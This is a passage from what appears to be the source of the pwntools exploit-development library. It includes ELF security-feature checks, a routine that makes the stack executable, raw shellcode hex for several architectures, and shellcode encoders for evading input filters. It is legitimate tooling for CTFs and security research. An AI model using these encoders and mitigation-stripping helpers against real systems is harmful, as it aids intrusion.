sysdeps/loongarch/stackinfo.h:  #define DEFAULT_STACK_PERMS (PF_R | PF_W)\n            sysdeps/nios2/stackinfo.h:      #define DEFAULT_STACK_PERMS (PF_R|PF_W)\n            sysdeps/riscv/stackinfo.h:      #define DEFAULT_STACK_PERMS (PF_R | PF_W)\n        \"\"\"\n        if not self.executable:\n            return False\n\n        # If the ``PT_GNU_STACK`` program header is preset, use it's premissions.\n        for seg in self.iter_segments_by_type('GNU_STACK'):\n            return bool(seg.header.p_flags & P_FLAGS.PF_X)\n\n        # If the ``PT_GNU_STACK`` program header is missing, then use the\n        # default rules. Out of the supported architectures, only AArch64,\n        # IA-64, and RISC-V get a non-executable stack by default.\n        return self.arch not in ['aarch64', 'ia64', 'riscv32', 'riscv64']\n\n    @property\n    def canary(self):\n        \"\"\":class:`bool`: Whether the current binary uses stack canaries.\"\"\"\n\n        # Sometimes there is no function for __stack_chk_fail,\n        # but there is an entry in the GOT\n        return '__stack_chk_fail' in (set(self.symbols) | set(self.got))\n\n    @property\n    def packed(self):\n        \"\"\":class:`bool`: Whether the current binary is packed with UPX.\"\"\"\n        return b'UPX!' in self.get_data()[:0xFF]\n\n    @property\n    def stripped(self):\n        \"\"\":class:`bool`: Whether the current binary has been stripped of symbols\"\"\"\n        return not any(section['sh_type'] == 'SHT_SYMTAB' for section in self.iter_sections())\n\n    @property\n    def debuginfo(self):\n        \"\"\":class:`bool`: Whether the current binary has debug information\"\"\"\n        return self.get_section_by_name('.debug_info') is not None\n\n    @property\n    def pie(self):\n        \"\"\":class:`bool`: Whether the current binary is position-independent.\"\"\"\n        return self.elftype == 'DYN'\n    aslr=pie\n\n    @property\n    def rpath(self):\n        \"\"\":class:`bool`: Whether the current binary has an ``RPATH``.\"\"\"\n        dt_rpath = self.dynamic_by_tag('DT_RPATH')\n\n        if not dt_rpath:\n            return None\n\n        return self.dynamic_string(dt_rpath.entry.d_ptr)\n\n    @property\n    def runpath(self):\n        \"\"\":class:`bool`: Whether the current binary has a ``RUNPATH``.\"\"\"\n        dt_runpath = self.dynamic_by_tag('DT_RUNPATH')\n\n        if not dt_runpath:\n            return None\n\n        return self.dynamic_string(dt_runpath.entry.d_ptr)\n\n    def checksec(self, banner=True, color=True):\n        \"\"\"checksec(banner=True, color=True)\n\n        Prints out information in the binary, similar to ``checksec.sh``.\n\n        Arguments:\n            banner(bool): Whether to print the path to the ELF binary.\n            color(bool): Whether to use colored output.\n        \"\"\"\n        red    = text.red if color else str\n        green  = text.green if color else str\n        yellow = text.yellow if color else str\n\n        res = []\n\n        # Kernel version?\n        if self.version and self.version != (0,):\n            res.append('Version:'.ljust(12) + '.'.join(map(str, self.version)))\n        if self.build:\n            res.append('Build:'.ljust(12) + self.build)\n\n        res.extend([\n            \"RELRO:\".ljust(12) + {\n                'Full':    green(\"Full RELRO\"),\n                'Partial': yellow(\"Partial RELRO\"),\n                None:      red(\"No RELRO\")\n            }[self.relro],\n            \"Stack:\".ljust(12) + {\n                True:  green(\"Canary found\"),\n                False: red(\"No canary found\")\n            }[self.canary],\n            \"NX:\".ljust(12) + {\n                True:  green(\"NX enabled\"),\n                False: red(\"NX disabled\"),\n                None:  yellow(\"NX enabled on new kernels\"),\n            }[self.nx],\n            \"PIE:\".ljust(12) + {\n                True: green(\"PIE enabled\"),\n                False: red(\"No PIE (%#x)\" % self.address)\n            }[self.pie],\n        ])\n\n        # Execstack may be a thing, even with NX enabled, because of glibc\n        if self.execstack and self.nx is not False:\n            res.append(\"Stack:\".ljust(12) + red(\"Executable\"))\n\n        # Are there any RWX areas in the binary?\n        #\n        # This will occur if NX is disabled and *any* area is\n        # RW, or can expressly occur.\n        if self.rwx_segments or (not self.nx and self.writable_segments):\n            res += [ \"RWX:\".ljust(12) + red(\"Has RWX segments\") ]\n\n        if self.rpath:\n            res += [ \"RPATH:\".ljust(12) + red(repr(self.rpath)) ]\n\n        if self.runpath:\n            res += [ \"RUNPATH:\".ljust(12) + red(repr(self.runpath)) ]\n\n        if self.packed:\n            res.append('Packer:'.ljust(12) + red(\"Packed with UPX\"))\n\n        if self.fortify:\n            res.append(\"FORTIFY:\".ljust(12) + green(\"Enabled\"))\n\n        if self.asan:\n            res.append(\"ASAN:\".ljust(12) + green(\"Enabled\"))\n\n        if self.msan:\n            res.append(\"MSAN:\".ljust(12) + green(\"Enabled\"))\n\n        if self.ubsan:\n            res.append(\"UBSAN:\".ljust(12) + green(\"Enabled\"))\n\n        if self.shadowstack:\n            res.append(\"SHSTK:\".ljust(12) + green(\"Enabled\"))\n\n        if self.ibt:\n            res.append(\"IBT:\".ljust(12) + green(\"Enabled\"))\n\n        if not self.stripped:\n            res.append(\"Stripped:\".ljust(12) + red(\"No\"))\n\n        if self.debuginfo:\n            res.append(\"Debuginfo:\".ljust(12) + red(\"Yes\"))\n\n        # Check for Linux configuration, it must contain more than\n        # just the version.\n        if len(self.config) > 1:\n            config_opts = collections.defaultdict(list)\n            for checker in kernel_configuration:\n                result, message = checker(self.config)\n\n                if not result:\n                    config_opts[checker.title].append((checker.name, message))\n\n\n            for title, values in config_opts.items():\n                res.append(title + ':')\n                for name, message in sorted(values):\n                    line = '{} = {}'.format(name, red(str(self.config.get(name, None))))\n                    if message:\n                        line += ' ({})'.format(message)\n                    res.append('    ' + line)\n\n            # res.extend(sorted(config_opts))\n\n        return '\\n'.join(res)\n\n    @property\n    def buildid(self):\n        \"\"\":class:`bytes`: GNU Build ID embedded into the binary\"\"\"\n        section = self.get_section_by_name('.note.gnu.build-id')\n        if section:\n            return section.data()[16:]\n        return None\n\n    @property\n    def fortify(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Fortify Source (``-DFORTIFY``).\"\"\"\n        if any(s.endswith('_chk') for s in self.plt):\n            return True\n        return False\n\n    @property\n    def asan(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Address Sanitizer (``ASAN``).\"\"\"\n        return any(s.startswith('__asan_') for s in self.symbols)\n\n    @property\n    def msan(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Memory Sanitizer (``MSAN``).\"\"\"\n        return any(s.startswith('__msan_') for s in self.symbols)\n\n    @property\n    def ubsan(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Undefined Behavior Sanitizer (``UBSAN``).\"\"\"\n        return any(s.startswith('__ubsan_') for s in self.symbols)\n\n    @property\n    def shadowstack(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Shadow Stack (``SHSTK``)\"\"\"\n        if self.arch not in ['i386', 'amd64']:\n            return False\n        for prop in self.iter_properties():\n            if prop.pr_type != 'GNU_PROPERTY_X86_FEATURE_1_AND':\n                continue\n            return prop.pr_data & ENUM_GNU_PROPERTY_X86_FEATURE_1_FLAGS['GNU_PROPERTY_X86_FEATURE_1_SHSTK'] > 0\n        return False\n\n    @property\n    def ibt(self):\n        \"\"\":class:`bool`: Whether the current binary was built with\n        Indirect Branch Tracking (``IBT``)\"\"\"\n        if self.arch not in ['i386', 'amd64']:\n            return False\n        for prop in self.iter_properties():\n            if prop.pr_type != 'GNU_PROPERTY_X86_FEATURE_1_AND':\n                continue\n            return prop.pr_data & ENUM_GNU_PROPERTY_X86_FEATURE_1_FLAGS['GNU_PROPERTY_X86_FEATURE_1_IBT'] > 0\n        return False\n\n\n    def _update_args(self, kw):\n        kw.setdefault('arch', self.arch)\n        kw.setdefault('bits', self.bits)\n        kw.setdefault('endian', self.endian)\n\n    def p64(self,  address, data, *a, **kw):\n        \"\"\"Writes a 64-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p64(data, *a, **kw))\n\n    def p56(self,  address, data, *a, **kw):\n        \"\"\"Writes a 56-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p56(data, *a, **kw))\n\n    def p48(self,  address, data, *a, **kw):\n        \"\"\"Writes a 48-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p48(data, *a, **kw))\n\n    def p40(self,  address, data, *a, **kw):\n        \"\"\"Writes a 40-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p40(data, *a, **kw))\n\n    def p32(self,  address, data, *a, **kw):\n        \"\"\"Writes a 32-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p32(data, *a, **kw))\n\n    def p16(self,  address, data, *a, **kw):\n        \"\"\"Writes a 16-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p16(data, *a, **kw))\n\n    def p8(self,   address, data, *a, **kw):\n        \"\"\"Writes a 8-bit integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.p8(data, *a, **kw))\n\n    def pack(self, address, data, *a, **kw):\n        \"\"\"Writes a packed integer ``data`` to the specified ``address``\"\"\"\n        self._update_args(kw)\n        return self.write(address, packing.pack(data, *a, **kw))\n\n    def u64(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u64(self.read(address, 8), *a, **kw)\n\n    def u56(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u56(self.read(address, 7), *a, **kw)\n\n    def u48(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u48(self.read(address, 6), *a, **kw)\n\n    def u40(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u40(self.read(address, 5), *a, **kw)\n\n    def u32(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u32(self.read(address, 4), *a, **kw)\n\n    def u16(self,    address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u16(self.read(address, 2), *a, **kw)\n\n    def u8(self,     address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.u8(self.read(address, 1), *a, **kw)\n\n    def unpack(self, address, *a, **kw):\n        \"\"\"Unpacks an integer from the specified ``address``.\"\"\"\n        self._update_args(kw)\n        return packing.unpack(self.read(address, self.bytes), *a, **kw)\n\n    def string(self, address):\n        \"\"\"string(address) -> str\n\n        Reads a null-terminated string from the specified ``address``\n\n        Returns:\n            A ``str`` with the string contents (NUL terminator is omitted),\n            or an empty string if no NUL terminator could be found.\n        \"\"\"\n        data = b''\n        while True:\n            read_size = 0x1000\n            partial_page = address & 0xfff\n\n            if partial_page:\n                read_size -= partial_page\n\n            c = self.read(address, read_size)\n\n            if not c:\n                return b''\n\n            data += c\n\n            if b'\\x00' in c:\n                return data[:data.index(b'\\x00')]\n\n            address += len(c)\n\n    def flat(self, address, *a, **kw):\n        \"\"\"Writes a full array of values to the specified address.\n\n        See: :func:`.packing.flat`\n        \"\"\"\n        return self.write(address, packing.flat(*a,**kw))\n\n    def fit(self, address, *a, **kw):\n        \"\"\"Writes fitted data into the specified address.\n\n        See: :func:`.packing.fit`\n        \"\"\"\n        return self.write(address, packing.fit(*a, **kw))\n\n    def parse_kconfig(self, data):\n        self.config.update(parse_kconfig(data))\n\n    def disable_nx(self):\n        \"\"\"Disables NX for the ELF.\n\n        Zeroes out the ``PT_GNU_STACK`` program header ``p_type`` field.\n        \"\"\"\n        PT_GNU_STACK = packing.p32(ENUM_P_TYPE['PT_GNU_STACK'])\n\n        if not self.executable:\n            log.error(\"Can only make stack executable with executables\")\n\n        for i, segment in enumerate(self.iter_segments()):\n            if not segment.header.p_type:\n                continue\n            if 'GNU_STACK' not in segment.header.p_type:\n                continue\n\n            phoff = self.header.e_phoff\n            phentsize = self.header.e_phentsize\n            offset = phoff + phentsize * i\n\n            if self.mmap[offset:offset+4] == PT_GNU_STACK:\n                self.mmap[offset:offset+4] = b'\\x00' * 4\n                self.save()\n                # Invalidate the cached segments, ``PT_GNU_STACK`` was removed.\n                self._segments = None\n                return\n\n        log.error(\"Could not find PT_GNU_STACK, stack should already be executable\")\n\n    @staticmethod\n    def set_runpath(exepath, runpath):\n        r\"\"\"set_runpath(exepath, runpath) -> ELF\n\n        Patches the RUNPATH of the ELF to the given path using the `patchelf utility <https://github.com/NixOS/patchelf>`_.\n\n        The dynamic loader will look for any needed shared libraries in the given path first,\n        before trying the system library paths. This is useful to run a binary with a different\n        libc binary.\n\n        Arguments:\n            exepath(str): Path to the binary to patch.\n            runpath(str): Path containing the needed libraries.\n\n        Returns:\n            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.\n\n        Example:\n\n            >>> tmpdir = tempfile.mkdtemp()\n            >>> ls_path = os.path.join(tmpdir, 'ls')\n            >>> _ = shutil.copy(which('ls'), ls_path)\n            >>> e = ELF.set_runpath(ls_path, './libs')\n            >>> e.runpath == b'./libs'\n            True\n        \"\"\"\n        if not which('patchelf'):\n            log.error('\"patchelf\" tool not installed. See https://github.com/NixOS/patchelf')\n            return None\n        try:\n            subprocess.check_output(['patchelf', '--set-rpath', runpath, exepath], stderr=subprocess.STDOUT)\n        except subprocess.CalledProcessError as e:\n            log.failure('Patching RUNPATH failed (%d): %r', e.returncode, e.stdout)\n        return ELF(exepath, checksec=False)\n\n    @staticmethod\n    def set_interpreter(exepath, interpreter_path):\n        r\"\"\"set_interpreter(exepath, interpreter_path) -> ELF\n\n        Patches the interpreter of the ELF to the given binary using the `patchelf utility <https://github.com/NixOS/patchelf>`_.\n\n        When running the binary, the new interpreter will be used to load the ELF.\n\n        Arguments:\n            exepath(str): Path to the binary to patch.\n            interpreter_path(str): Path to the ld.so dynamic loader.\n\n        Returns:\n            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.\n\n        Example:\n\n            >>> tmpdir = tempfile.mkdtemp()\n            >>> ls_path = os.path.join(tmpdir, 'ls')\n            >>> _ = shutil.copy(which('ls'), ls_path)\n            >>> e = ELF.set_interpreter(ls_path, '/tmp/correct_ld.so')\n            >>> e.linker == b'/tmp/correct_ld.so'\n            True\n        \"\"\"\n        # patch the interpreter\n        if not which('patchelf'):\n            log.error('\"patchelf\" tool not installed. See https://github.com/NixOS/patchelf')\n            return None\n        try:\n            subprocess.check_output(['patchelf', '--set-interpreter', interpreter_path, exepath], stderr=subprocess.STDOUT)\n        except subprocess.CalledProcessError as e:\n            log.failure('Patching interpreter failed (%d): %r', e.returncode, e.stdout)\n        return ELF(exepath, checksec=False)\n\n    @staticmethod\n    def patch_custom_libraries(exe_path, custom_library_path, create_copy=True, suffix='_remotelibc'):\n        r\"\"\"patch_custom_libraries(exe_path, custom_library_path, create_copy=True, suffix='_remotelibc') -> ELF\n\n        Looks for the interpreter binary in the given path and patches the binary to use\n        it if available. Also patches the RUNPATH to the given path using the `patchelf utility <https://github.com/NixOS/patchelf>`_.\n\n        Arguments:\n            exe_path(str): Path to the binary to patch.\n            custom_library_path(str): Path to a folder containing the libraries.\n            create_copy(bool): Create a copy of the binary and apply the patches to the copy.\n            suffix(str): Suffix to append to the filename when creating the copy to patch.\n\n        Returns:\n            A new ELF instance is returned after patching the binary with the external ``patchelf`` tool.\n\n        Example:\n\n            >>> tmpdir = tempfile.mkdtemp()\n            >>> linker_path = os.path.join(tmpdir, 'ld-mock.so')\n            >>> write(linker_path, b'loader')\n            >>> ls_path = os.path.join(tmpdir, 'ls')\n            >>> _ = shutil.copy(which('ls'), ls_path)\n            >>> e = ELF.patch_custom_libraries(ls_path, tmpdir)\n            >>> e.runpath.decode() == tmpdir\n            True\n            >>> e.linker.decode() == linker_path\n            True\n        \"\"\"\n        if not which('patchelf'):\n            log.error('\"patchelf\" tool not installed. See https://github.com/NixOS/patchelf')\n            return None\n\n        # Create a copy of the ELF to patch instead of the original file.\n        if create_copy:\n            import shutil\n            patched_path = exe_path + suffix\n            shutil.copy2(exe_path, patched_path)\n            exe_path = patched_path\n\n        # Set interpreter in ELF to the one in the library path.\n        interpreter_name = [filename for filename in os.listdir(custom_library_path) if filename.startswith('ld-')]\n        if interpreter_name:\n            interpreter_path = os.path.realpath(os.path.join(custom_library_path, interpreter_name[0]))\n            ELF.set_interpreter(exe_path, interpreter_path)\n        else:\n            log.warn(\"Couldn't find ld.so in library path. Interpreter not set.\")\n\n        # Set RUNPATH to library path in order to find other libraries.\n        return ELF.set_runpath(exe_path, custom_library_path)\n"
  },
  {
    "path": "pwnlib/elf/maps.py",
    "content": "# Pre-assembled shellcode for each architecture.\n#\n# This is literally the output of:\n#     shellcraft $ARCH.linux.cat2 /proc/self/maps\n#     shellcraft $ARCH.linux.syscalls.exit 0\nCAT_PROC_MAPS_EXIT = {\n    'i386':\n        '680101010181342460717201686c662f6d68632f7365682f70726f89e331c931d2b6406a0558cd8029d489c389e16a0358cd806a015b89e189c26a0458cd80'\n        '31db6a0158cd80',\n    'amd64':\n        '48b801010101010101015048b86d672e6c607172014831042448b82f70726f632f7365506a02584889e731d2b64031f60f054829d44889c731c04889e60f054889c26a01586a015f4889e60f05'\n        '31ff6a3c580f05',\n    'arm':\n        '617007e3737040e304702de56c7606e32f7d46e304702de5637f02e3737546e304702de52f7007e3727f46e304702de50d00a0e1011021e00129a0e30570a0e3000000ef02d04de00d10a0e10370a0e3000000ef0020a0e10100a0e30d10a0e10470a0e3000000ef'\n        '000020e00170a0e3000000ef',\n    'thumb':\n        '004f01e0617073ff4fea07274fea172780b4dff8047001e06c662f6d80b4dff8047001e0632f736580b4dff8047001e02f70726f80b4684681ea01014ff480424ff0050741dfadeb020d69464ff0030741df02464ff0010069464ff0040741df'\n        '80ea00004ff0010741df00bf',\n    'mips':\n        '726f093c2f702935f0ffa9af7365093c632f2935f4ffa9af2f6d093c6c662935f8ffa9af8cff193c9e8f393727482003fcffa9aff0ffbd272020a003ffff0528ffbf192427302003a50f02340c01010122e8a603fcffa2affcffa48f2028a003a30f02340c010101feff1924272020032028a003fcffa2affcffa68fa40f02340c010101'\n        'ffff0428a10f02340c010101',\n    'aarch64':\n        'ee058ed24eeeadf26eecc5f26eaeecf28fcd8cd2efa5adf22f0ccef26f0ee0f2ee3fbfa980f39fd2e0ffbff2e0ffdff2e0fffff2e1633f8be2031faa080780d2010000d4222080d22e2088d2c20102caff6322cbe1633f8be80780d2010000d402041f8b4f2080d26c2080d28f010fcae0030faae1633f8b080880d2010000d4'\n        'e0031faaa80b80d2010000d4',\n    'riscv64':\n        'b73e736593ce3e76938e0e80b77f726f9b8fff02939e0e02b3cefe012338d1ffb77e73009b8e1e06b76f2f6d93cfcf66939e0e02b3cefe01233cd1ff130101ff1345c0f9b355014033c6ff019348707c93c8f87f73000000374600003301c140b35501409348007c93c8f87f73000000335605401335f07fb35501409348f07b93c8f87f73000000'\n        '33c5ff019348207a93c8f87f73000000',\n}\n"
  },
  {
    "path": "pwnlib/elf/plt.py",
    "content": "\"\"\"Emulates instructions in the PLT to locate symbols more accurately.\n\"\"\"\nimport logging\n\nfrom pwnlib.args import args\nfrom pwnlib.log import getLogger\nfrom pwnlib.util import fiddling\nfrom pwnlib.util import packing\n\nlog = getLogger(__name__)\n\n\ndef emulate_plt_instructions(elf, got, address, data, targets):\n    \"\"\"Emulates instructions in ``data``\n\n    Arguments:\n        elf(ELF): ELF that we are emulating\n        got(int): Address of the GOT, as expected in e.g. EBX\n        address(int): Address of ``data`` for emulation\n        data(str): Array of bytes to emulate\n        targets(list): List of target addresses\n\n    Returns:\n        :class:`dict`: Map of ``{address: target}`` for each address which\n            reaches one of the selected targets.\n    \"\"\"\n    rv = {}\n\n    if not args.PLT_DEBUG:\n        log.setLevel(logging.DEBUG + 1)\n\n    # Unicorn doesn't support big-endian for everything yet.\n    if elf.endian == 'big' and elf.arch == 'mips':\n        data = packing.unpack_many(data, bits=32, endian='little')\n        data = packing.flat(data, bits=32, endian='big')\n\n    uc, ctx = prepare_unicorn_and_context(elf, got, address, data)\n\n    # Brute force addresses, assume that PLT entry points are at 4-byte aligned\n    # Do not emulate more than a handful of instructions.\n    for i, pc in enumerate(range(address, address + len(data), 4)):\n        if log.isEnabledFor(logging.DEBUG):\n            log.debug('%s %#x', fiddling.enhex(data[i*4:(i+1) * 4]), pc)\n            log.debug(elf.disasm(pc, 4))\n\n        uc.context_restore(ctx)\n        target = emulate_plt_instructions_inner(uc, elf, got, pc, data[i*4:])\n\n        if target in targets:\n            log.debug(\"%#x -> %#x\", pc, target)\n            rv[pc] = target\n\n    return rv\n\n\ndef __ensure_memory_to_run_unicorn():\n    \"\"\"\n    Check if there is enough memory to run Unicorn Engine.\n    Unicorn Engine requires 1GB of memory to run, if there isn't enough memory it calls exit(1).\n\n    This is a bug in Unicorn Engine, see: https://github.com/unicorn-engine/unicorn/issues/1766\n    \"\"\"\n    try:\n        from mmap import mmap, MAP_ANON, MAP_PRIVATE, PROT_EXEC, PROT_READ, PROT_WRITE\n\n        mm = mmap(\n            -1, 1024 * 1024 * 1024, MAP_PRIVATE | MAP_ANON, PROT_WRITE | PROT_READ\n        )\n        mm.close()\n    except OSError:\n        raise OSError(\"Cannot allocate 1GB memory to run Unicorn Engine\")\n    except ImportError:\n        # Can only mmap files on Windows, would need to use VirtualAlloc.\n        pass\n\n\ndef prepare_unicorn_and_context(elf, got, address, data):\n    import unicorn as U\n\n    __ensure_memory_to_run_unicorn()\n\n    # Instantiate the emulator with the correct arguments for the current\n    # architecutre.\n    arch = {\n        'aarch64': U.UC_ARCH_ARM64,\n        'amd64': U.UC_ARCH_X86,\n        'arm': U.UC_ARCH_ARM,\n        'i386': U.UC_ARCH_X86,\n        'mips': U.UC_ARCH_MIPS,\n        'mips64': U.UC_ARCH_MIPS,\n        # 'powerpc': U.UC_ARCH_PPC, <-- Not actually supported\n        'thumb': U.UC_ARCH_ARM,\n        'riscv32': U.UC_ARCH_RISCV,\n        'riscv64': U.UC_ARCH_RISCV,\n        # 'loongarch64': U.UC_ARCH_LOONGARCH, <-- Not actually supported\n    }.get(elf.arch, None)\n\n    if arch is None:\n        log.warn(\"Could not emulate PLT instructions for %r\" % elf)\n        return {}\n\n    emulation_bits = elf.bits\n\n    # x32 uses 64-bit instructions, just restricts itself to a 32-bit\n    # address space.\n    if elf.arch == 'amd64' and elf.bits == 32:\n        emulation_bits = 64\n\n    mode = {\n        32: U.UC_MODE_32,\n        64: U.UC_MODE_64\n    }.get(emulation_bits)\n\n    if elf.arch in ('arm', 'aarch64'):\n        mode = U.UC_MODE_ARM\n\n    uc = U.Uc(arch, mode)\n\n    # Map the page of memory, and fill it with the contents\n    start = address & (~0xfff)\n    stop  = (address + len(data) + 0xfff) & (~0xfff)\n\n    if not (0 <= start <= stop <= (1 << elf.bits)):\n        return None\n\n    uc.mem_map(start, stop-start)\n    uc.mem_write(address, data)\n    assert uc.mem_read(address, len(data)) == data\n\n    # MIPS is unique in that it relies entirely on _DYNAMIC, at the beginning\n    # of the GOT.  Each PLT stub loads an address stored here.\n    # Because of this, we have to support loading memory from this location.\n    #\n    # https://www.cr0.org/paper/mips.elf.external.resolution.txt\n    magic_addr = 0x7c7c7c7c\n\n    if elf.arch == 'mips':\n        # Map the GOT so that MIPS can access it\n        p_magic = packing.p32(magic_addr)\n        start = got & (~0xfff)\n        try:\n            uc.mem_map(start, 0x1000)\n        except Exception:\n            # Ignore double-mapping\n            pass\n\n        uc.mem_write(got, p_magic)\n\n    return uc, uc.context_save()\n\n\ndef emulate_plt_instructions_inner(uc, elf, got, pc, data):\n    import unicorn as U\n\n    # Hook invalid addresses and any accesses out of the specified address range\n    stopped_addr = []\n\n    # For MIPS. Explanation at prepare_unicorn_and_context.\n    magic_addr = 0x7c7c7c7c\n\n    def hook_mem(uc, access, address, size, value, user_data):\n        # Special case to allow MIPS to dereference the _DYNAMIC pointer\n        # in the GOT.\n        if elf.arch == 'mips' and address == got:\n            return True\n\n        user_data.append(address)\n        uc.emu_stop()\n        return False\n\n    hooks = [\n        uc.hook_add(U.UC_HOOK_MEM_READ, hook_mem, stopped_addr),\n        uc.hook_add(U.UC_HOOK_MEM_READ_UNMAPPED, hook_mem, stopped_addr),\n    ]\n\n    # callback for tracing instructions\n    # def hook_code(uc, address, size, user_data):\n    #     print(\">>> Tracing instruction at %#x, instr size = %#x, data=%r\"\n    #           % (address, size, uc.mem_read(address, size)))\n    # hooks.append(uc.hook_add(U.UC_HOOK_CODE, hook_code))\n\n    # For Intel, set the value of EBX\n    if elf.arch == 'i386':\n        uc.reg_write(U.x86_const.UC_X86_REG_EBX, got)\n\n    # Special case for MIPS, which is the most silly architecture\n    # https://sourceware.org/ml/binutils/2004-11/msg00116.html\n    if elf.arch == 'mips' and elf.bits == 32:\n        OFFSET_GP_GOT = 0x7ff0\n        uc.reg_write(U.mips_const.UC_MIPS_REG_GP, got + 0x7ff0)\n\n    try:\n        uc.emu_start(pc, until=-1, count=5)\n    except U.UcError as error:\n        UC_ERR = next(k for k,v in \\\n                    U.unicorn_const.__dict__.items()\n                    if error.errno == v and k.startswith('UC_ERR_'))\n        log.debug(\"%#x: %s (%s)\", pc, error, UC_ERR)\n\n    if elf.arch == 'mips':\n        pc = uc.reg_read(U.mips_const.UC_MIPS_REG_PC)\n        if pc == magic_addr:\n            t8 = uc.reg_read(U.mips_const.UC_MIPS_REG_T8)\n            stopped_addr.append(elf._mips_got.get(t8, 0))\n\n    retval = 0\n    if stopped_addr:\n        retval = stopped_addr.pop()\n\n    for hook in hooks:\n        uc.hook_del(hook)\n\n    return retval\n"
  },
  {
    "path": "pwnlib/encoders/__init__.py",
    "content": "\"\"\"\nEncode shellcode to avoid input filtering and impress your friends!\n\"\"\"\nfrom pwnlib.encoders import amd64\nfrom pwnlib.encoders import arm\nfrom pwnlib.encoders import i386\nfrom pwnlib.encoders import mips\nfrom pwnlib.encoders.encoder import Encoder\nfrom pwnlib.encoders.encoder import alphanumeric\nfrom pwnlib.encoders.encoder import encode\nfrom pwnlib.encoders.encoder import line\nfrom pwnlib.encoders.encoder import null\nfrom pwnlib.encoders.encoder import printable\nfrom pwnlib.encoders.encoder import scramble\n"
  },
  {
    "path": "pwnlib/encoders/amd64/__init__.py",
    "content": "from pwnlib.encoders.amd64 import delta\n"
  },
  {
    "path": "pwnlib/encoders/amd64/delta.py",
    "content": "from pwnlib.encoders.i386.delta import i386DeltaEncoder\n\n\nclass amd64DeltaEncoder(i386DeltaEncoder):\n    r\"\"\"\n    amd64 encoder built on delta-encoding.\n\n    In addition to the loader stub, doubles the size of the shellcode.\n\n    >>> context.clear(arch='amd64')\n    >>> shellcode = asm(shellcraft.sh())\n    >>> avoid = b'/bin/sh\\x00'\n    >>> encoded = pwnlib.encoders.amd64.delta.encode(shellcode, avoid)\n    >>> assert not any(c in encoded for c in avoid)\n    >>> p = run_shellcode(encoded)\n    >>> p.sendline(b'echo hello; exit')\n    >>> p.recvline()\n    b'hello\\n'\n    \"\"\"\n    assembly = '''\nbase:\n    lea         rsi, base[rip]\n    /* add rsi, (data-base) */\n    .byte 0x48, 0x83, 0xc6, (data - base)\n    cld\n    mov         rdi, rsi\n\nnext:\n    lodsb\n    xchg        eax, ebx\n    lodsb\n    sub         al, bl\n    stosb\n    sub         bl, 0xac\n    jnz         next\n\ndata:\n'''\n    arch      = 'amd64'\n    raw       = b'H\\x8d5\\xf9\\xff\\xff\\xffH\\x83\\xc6\\x1a\\xfcH\\x89\\xf7\\xac\\x93\\xac(\\xd8\\xaa\\x80\\xeb\\xacu\\xf5'\n    blacklist = set(raw)\n\nencode = amd64DeltaEncoder()\n__all__ = ['encode']\n"
  },
  {
    "path": "pwnlib/encoders/arm/__init__.py",
    "content": "from pwnlib.encoders.arm import alphanumeric\nfrom pwnlib.encoders.arm import xor\n"
  },
  {
    "path": "pwnlib/encoders/arm/alphanumeric/ARM_Instructions.py",
    "content": "# Copyright (c) 2013 Pratik Kumar Sahu, Nagendra Chowdary, Anish Mathuria\n# Ported to Python by Gallopsled\n# +------------------------------------------------------------------------+ \n# |                        ARM Instructions                                | \n# +------------------------------------------------------------------------+ \n\n\nEOR = 1\nSUB = 2\nRSB = 3\nMI  = 4\nPL  = 5 \nLDR = 6\nSTR = 7\nLDM = 8\nSTM = 9\nROR = 10\nLSR = 11\n\n# (EOR/SUB/RSB)(PL/MI){S} rd, rn, #imm \n# ==================================== \ndef dpimm(op, cond, s, d, n, imm):\n   if type(imm) == int:\n      x = chr(imm & 0xff)\n   else:\n      x = imm\n   x += chr((d << 4) & 0xff)\n   if s:\n      if op == EOR:\n         x += chr(0x30 | n)\n      if op == SUB:\n         x += chr(0x50 | n)\n      if op == RSB:\n         x += chr(0x70 | n)\n   else:\n      if op == SUB:\n         x += chr(0x40 | n)\n      if op == RSB:\n         x += chr(0x60 | n)\n   if cond == PL:\n      x += \"\\x52\"\n   else:\n      x += \"\\x42\"\n   return x\n   \n# (EOR/SUB/RSB)PL{S} rd, rn, ra ROR #imm \n# ====================================== \ndef dpshiftimm(op, s, d, n, a, imm):\n   x = chr(0x60 | a)\n   x += chr(((d << 4)| (imm >> 1)) & 0xff)\n   if s:\n      if op == EOR:\n         x += chr(0x30 | n)\n      if op == SUB:\n         x += chr(0x50 | n)\n      if op == RSB:\n         x += chr(0x70 | n)\n   else:\n      if op == SUB:\n         x += chr(0x40 | n)\n      if op == RSB:\n         x += chr(0x60 | n)\n   return x + \"\\x50\" \n\n# (EOR/SUB/RSB)PL{S} rd, rn, ra (ROR/LSR) rb \n# ========================================== \ndef dpshiftreg(op, s, d, n, a, shift, b):\n   x = ''\n   if shift == LSR:\n      x += chr(0x30 